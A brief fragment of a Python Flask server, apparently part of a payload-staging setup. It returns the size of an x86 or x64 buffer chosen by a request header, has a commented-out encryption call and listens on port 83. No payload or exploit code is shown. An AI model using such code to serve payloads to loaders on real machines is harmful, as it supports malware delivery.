48 | return "nothing" 49 | 50 | 51 | @app.route("/my/get_size") 52 | def size(): 53 | if(request.headers["Accept-platform"] == "x86"): 54 | buf = buf_x86 55 | else: 56 | buf = buf_x64 57 | 58 | return str(len(buf)) 59 | 60 | 61 | #encrypted = encrypt(buf, key) 62 | if __name__ == '__main__': 63 | app.run(host="0.0.0.0", port=83) 64 | --------------------------------------------------------------------------------